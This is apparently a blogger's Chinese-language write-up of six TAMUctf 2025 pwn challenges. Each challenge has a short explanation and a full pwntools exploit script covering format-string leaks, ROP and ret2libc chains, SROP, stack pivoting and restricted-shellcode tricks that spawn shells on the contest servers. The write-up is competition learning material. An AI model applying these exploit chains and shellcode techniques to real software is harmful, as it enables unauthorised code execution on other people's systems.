[TAMUctf 2025] Pwn write-up

本文总阅读量

AK题目6/8,最有意思的一集,体验很好(出题人发源码suki),最后两个题看不懂要干什么摆了没做

sniper

挺好玩的格式化字符串漏洞。很有意思的一点是读入地址为0x0a0a0000, 两个回车符显然是防止我们直接往栈里输入地址。
考查点是格式化字符串对于%s%$ns处理先后顺序不同(前先后后),先用%c填充至栈地址再用%hn构造出0x0a0a构造出读入地址,再利用%10$s的处理顺序不同读出flag内容。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./sniper/sniper"
elf = ELF(binary_path)

local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_sniper")
dbg = lambda _: None

p.recvuntil(b"0x")
stack_addr = int(p.recvuntil(b"\n", drop=True), 16) + 0x20
ls(stack_addr)
addr = 0x000000000A0A0000

dbg(p)
offset = 6
payload = b"%c%c%c%c%c%c%c%c%c%2561c%hn"
payload += b"%10$s"
payload = payload.ljust(32, b"a")
payload += p64(0)
payload += p64(stack_addr + 2)

"""
payload = b"%10$ln%2570c%11$hn"
payload += b"%6$p"
payload = payload.ljust(32, b"a")
payload += p64(stack_addr)
payload += p64(stack_addr + 2)
"""

# gigem{you_know_what_maybe_i_should_just_leave_naming_up_to_rng_via_http://ternus.github.io/nsaproductgenerator/}

p.sendline(payload)

p.interactive()

debug1

程序的debug功能直接暴露了system地址,且还包含一个很长的栈溢出。
利用程序正常流程中的溢出将程序流导向debug函数,之后就出来了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./debug-1/debug-1"
libc_path = "./debug-1/libc.so.6"
elf = ELF(binary_path)
libc = ELF(libc_path)

local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-1")
dbg = lambda _: None

p.sendlineafter(b"Exit\n", b"1")

payload = b"a" * 0x58 + p64(0x40139F + 1)
p.sendlineafter(b"\n", payload)
p.sendlineafter(b"well :) )\n", b"1")

p.recvuntil(b"libc leak: ")

system = int(p.recvuntil(b"\n", drop=True), 16)

"""
0x0000000000023a5f: pop rdi; ret;
0x000000000002235f: ret;
"""
libc_base = system - libc.sym["system"]
binsh = libc_base + libc.search(b"/bin/sh").__next__()
pop_rdi = libc_base + 0x0000000000023A5F
ret = libc_base + 0x000000000002235F

dbg(p)
payload = b"a" * 0x68
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter(b" characters)!\n", payload)


p.interactive()

rop-thirteen

对着源码分析即可,我都没用ida

go pwn,然而漏洞很明显,一个貌似无限(实测是有限)的unsafe read函数:

1
2
3
4
5
6
7
...
// Using same memory location for feedback to save memory
sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&rot13))
feedbackPointer := uintptr(unsafe.Pointer(&(feedback[0])))
sliceHeader.Data = feedbackPointer
_, _ = reader.Read(rot13)
...

首先随便填一些数据找到栈地址偏移(0x110),再考虑构造ROP链。
题目静态链接,正好给我们提供了很多gadget
构造syscall ret链,先栈迁移到bss段,通过syscall read扩大溢出空间,再SROP一步到位拿shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./rop-thirteen/rop-thirteen"
elf = ELF(binary_path)

local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_rop-thirteen")
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


payload = b"abcdefg"
p.sendafter(b"(up to 360 characters):", payload)

"""
0x000000000045f409: syscall; ret;
0x000000000045e9f7: mov qword ptr [rdi], rax; ret;
0x0000000000465c64: xchg edi, eax; ret;
0x000000000045dde7: xchg rdx, rax; ret;
0x000000000045f34d: pop rbp; ret;
0x000000000045f81d: mov rsp, rbp; pop rbp; ret;
0x000000000041cf18: pop rsi; ret;
0x0000000000402481: xor rax, rax; ret;
0x00000000004801bd: pop rdx; ret;
0x0000000000438d50: pop rsp; ret;
"""

addr = 0x51C010

syscall_ret = 0x000000000045F409
pop_rax = 0x000000000040CC26
xchg_edi_eax_ret = 0x0000000000465C64
mov_qword_rdi_rax = 0x000000000045E9F7
syscall_ret = 0x000000000045F409
pop_rdx = 0x00000000004801BD
pop_rsi = 0x000000000041CF18
pop_rbp = 0x000000000045F34D
leave_ret = 0x000000000045F81D
xor_rax = 0x0000000000402481
pop_rsp = 0x0000000000438D50

# 68732f6e69622f0a
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = addr # "/bin/sh" 's addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = 0
sigframe.rip = syscall_ret


dbg(p)
payload = b"k" * 0x110 # + b"b" * 0x8
payload += p64(xor_rax)
payload += p64(xchg_edi_eax_ret)
payload += p64(pop_rsi)
payload += p64(addr)
payload += p64(pop_rdx)
payload += p64(0x500)
payload += p64(xor_rax)
payload += p64(syscall_ret)
payload += p64(pop_rsp)
payload += p64(addr + 8)

# payload += bytes(sigframe)
p.sendafter(b"feedback here:", payload)

sleep(0.5)

payload = b"/bin/sh\x00"
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall_ret)
payload += bytes(sigframe)
p.send(payload)
# b *0x484DFB

p.interactive()

debug-2

就是debug-1把debug函数删掉了,只有一个正常流程中的0x10 bytes的栈溢出
0x10 bytes栈溢出有公式打法,先栈迁移到bss段再打ret2libc
注意这个题有个大小写转换很烦人,payload需要经过处理再发出去

不知道为什么远程bss段比本地bss段少了两页的空间,导致在printf的时候一直爆栈,迫不得已用了一次csu跳板跳过printf环节

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./debug-2/debug-2"
libc_path = "./debug-2/libc.so.6"

elf = ELF(binary_path)

libc = ELF(libc_path)

local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-2")
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))

# 0b0100_0001 0x41
# 0b0110_0001 0x61

# 0b0010_0000 0x20


def change(string):
res = b""
for i in string:
if (ord("Z") >= i >= ord("A")) or (ord("z") >= i >= ord("a")):
tmp = i ^ 0x20
res += tmp.to_bytes()
else:
res += i.to_bytes()

return res


# 0x134a


p.sendlineafter(b"Exit\n\n", b"1")

payload = b"a" * 0x57 + b"|" + b"\xd8"
p.sendafter(b"characters):\n\n", payload)

p.recvuntil(b"|")


text_offset = recv(b"\n") - 0x13D8
lev_ret = 0x00000000000012DA + text_offset
pop_rdi = 0x000000000000145B + text_offset
pop_rsi = 0x0000000000001459 + text_offset
puts_got = text_offset + elf.got["puts"]
puts_plt = text_offset + elf.plt["puts"]
read_got = text_offset + elf.got["read"]

bss = 0x4000 + text_offset + 0x0E00

p.sendlineafter(b"Exit\n\n", b"1")

payload = b"a" * 0x50 + p64(bss + 0x60) + p64(text_offset + 0x134A)
p.sendafter(b"characters):\n\n", change(payload))

start = csu_start + text_offset
end = start + 0x1A


# payload = p64(bss + 0x80)

payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(read_got) # r12
payload += p64(0) # edi
payload += p64(bss + 0x88) # rsi
payload += p64(0x200) # rdx
payload += p64(start)
"""
payload += p64(text_offset + 0x134A)
"""
payload = payload.ljust(0x50, b"a")
payload += p64(bss + 0x8) + p64(lev_ret)
p.sendafter(b"characters):\n\n", change(payload))

"""
p.recvlines(2)


payload = p64(pop_rdi)
payload += p64(sh)
payload += p64(sys)
p.sendafter(b"characters):\n\n", change(payload))
"""

sleep(0.5)

# dbg(p)
payload = p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(read_got) # r12
payload += p64(0) # edi
payload += p64(bss + 0x88 + 0x90) # rsi
payload += p64(0x200) # rdx
payload += p64(start)

p.send(payload)

p.recvlines(2)
puts_addr = recv(b"\n")

sys, sh = search_from_libc("puts", puts_addr)
ls(text_offset)

sleep(0.5)
payload = p64(pop_rdi)
payload += p64(sh)
payload += p64(sys)
p.send(payload)

p.interactive()

接下来是两个shellcode编写,个人认为最有意思的部分

seven

条件极为苛刻,只允许写入7个字节,而且shellcode段在跳转前取消了写权限。
在这种情况下构造mprotect + read组合进一步写入是无法做到的(即使借助现有寄存器),拿shell更是不可能。
转换思路,我们可以手动构造一个栈溢出漏洞,然后用栈溢出的思路去解题。

分析寄存器条件,可以构造如下shellcode作为一个很长的栈溢出漏洞

1
2
3
4
5
mov edi, eax
push rsp
pop rsi
syscall
ret

ret返回地址会直接落在我们输入的位置上,正好这个题有csu,通过csu完成mprotect + read,往shellcode段读入shellcode后再跳转过去即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./seven/seven"

elf = ELF(binary_path)

local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_seven")
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))

payload = """
mov edi, eax
push rsp
pop rsi
syscall
ret
"""
p.send(asm(payload))
mprotect = elf.got["mprotect"]
read = elf.got["read"]

sleep(0.5)

# dbg(p)
payload = csu(edi=0x500000, rsi=0x1000, rdx=0x7, r12=mprotect)
payload += csu(edi=0x0, rsi=0x500000, rdx=0x500, r12=read)
payload += p64(0x500000)
p.send(payload)
# 7478742e67616c662f2e0a


orw = (
"""
push 0;
mov rax, 2;
mov rcx, 0x7478742e67616c66
push rcx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
"""
+ sendfile
)

sleep(2.5)
p.send(asm(orw))

p.interactive()

stack

个人认为最有意思的题目

直接看C源码,发现题目只允许push/pop操作,操作寄存器必须以”r”开头
专门去看了intel的开发手册,发现允许内容就是只有push/pop rax~r15(包括rsp)这几个

个人认为如果真仅仅用这几个操作确实是无法get shell的(连syscall都无法做到),解决方案在栈上。

思路是构造read syscall再次读入shellcode来绕过过滤。通过各种栈操作我们可以设置合适的rdi,rsi,rdx和rax值,只差syscall
而syscall的汇编为\x0f\x05,事实上我们可以在栈上创造一个\x0f\x05,就是将输入长度补齐到0x50f;
分析源码可以发现在栈上有一个变量是存储输入长度的(调试发现就在栈顶),如果该值为0x50f,在小端序下便是\x0f\x05,通过栈操作我们可以把它push到shellcode段作为syscall使用。

之后再传入正常的shellcode即可,注意要恢复rsp,不然栈空间可能不足

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./stack/stack"

elf = ELF(binary_path)

local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_stack")
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))

"""
push r8 ~ r15: \x41\x50 ~ \x41\x57
pop r8 ~ r15: \x41\x58 ~ \x41\x5f

0x0000000000000000: 50 push rax
0x0000000000000001: 51 push rcx
0x0000000000000002: 52 push rdx
0x0000000000000003: 53 push rbx
0x0000000000000004: 54 push rsp
0x0000000000000005: 55 push rbp
0x0000000000000006: 56 push rsi
0x0000000000000007: 57 push rdi
0x0000000000000008: 58 pop rax
0x0000000000000009: 59 pop rcx
0x000000000000000a: 5A pop rdx
0x000000000000000b: 5B pop rbx
0x000000000000000c: 5C pop rsp
0x000000000000000d: 5D pop rbp
0x000000000000000e: 5E pop rsi
0x000000000000000f: 5F pop rdi
"""


shell = """
pop rbx
pop rdx
pop rsi
push r10
pop rax
push r10
pop rdi
push rsi
pop rsp
pop rcx
pop rcx
pop rcx
push rdx
"""
# dbg(p)
payload = asm(shell)
payload = payload.ljust(0x50F, b"\x50")
p.send(payload)


shellcode = """
mov rsp, rbp
"""
shellcode += shellcraft.sh()

payload = b"\x00" * 0x12
payload += asm(shellcode)

sleep(1)
p.send(payload)

p.interactive()